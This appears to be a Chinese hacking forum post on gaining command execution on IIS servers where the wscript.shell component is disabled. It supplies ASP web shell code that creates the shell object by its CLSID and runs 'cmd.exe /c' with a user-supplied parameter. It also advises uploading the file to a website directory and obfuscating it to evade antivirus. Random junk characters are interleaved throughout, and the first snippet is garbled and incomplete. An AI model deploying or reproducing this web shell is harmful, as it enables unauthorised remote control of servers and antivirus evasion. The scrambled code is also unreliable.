没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  / j# q: L2 u  |% z- r8 `1 G) X
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  $ x5 i' H# R% J
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  
• end if
  
• response.write(”")
  / E( T' D. t/ q) d
• On Error Resume
  
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  ! A' x) C8 z( V6 ^/ }
• response.write(”")
  4 z7 e3 ~/ j2 T+ r
• response.write(”")
  
• response.write(”
  . O# f$ [6 [3 n; |, u! F9 t# j3 I
• “)
  
• response.write(”")
  
• %>
  8 M4 t$ O: B" n+ g; P# q
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  " s4 r1 Y3 P4 Q  _' S. g* [; k; i
• 我用此成功运行过cacls命令。
  . E! [# _# b- G& B1 d0 Z5 Y2 [
• 第二那就是运行时出错，可能限制某些代码执行
  8 ~5 a9 i# L. q! Z* }- \: a, L- |
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  8 P* p. ~) V6 s" `- S3 m* ^! i' q6 p
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  " W; H* g: M/ g  Y
• <%if err then%>
  8 e6 }' z! m7 F6 h- t' v
• <object runat=server id=oScriptlhn scope=page
  0 C) x- |7 z) B* p# j1 G
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  4 y; \9 m8 @; S& s) \; Q% h" G& D$ c
• <%
  1 ~% ]+ R8 J6 G% r, H+ |
• end if
  
• response.write(”<textarea readonly cols=80
    S6 t9 L4 p6 J+ l6 I
• 
  6 S( A& m8 ~, M$ h7 e. e' r
• rows=20>”)
  2 q' Z& [! o# _
• On Error Resume Next
  3 y' T  V/ _2 k. h
• response.write
  
• 
  * S: J* J+ S2 ?4 `
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  0 Q0 B/ D2 ?1 [3 J! v% R
• response.write(”<form
  
• 
  
• method=’post’>”)
  : x5 y* U7 ^9 ~
• response.write(”<input type=text name=’c'
  
• 
  
• size=60><br>”)
  . Z7 d. c! W9 i  `3 n) k) b6 A
• response.write(”<input type=submit
  
• 
  & m/ V/ T: B3 u$ ?
• value=’执行’></form>”)
  
• %>
  4 q% ?( g" I- d3 V5 h4 e& z) r
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  6 a1 g& \" S+ Z4 ^

复制代码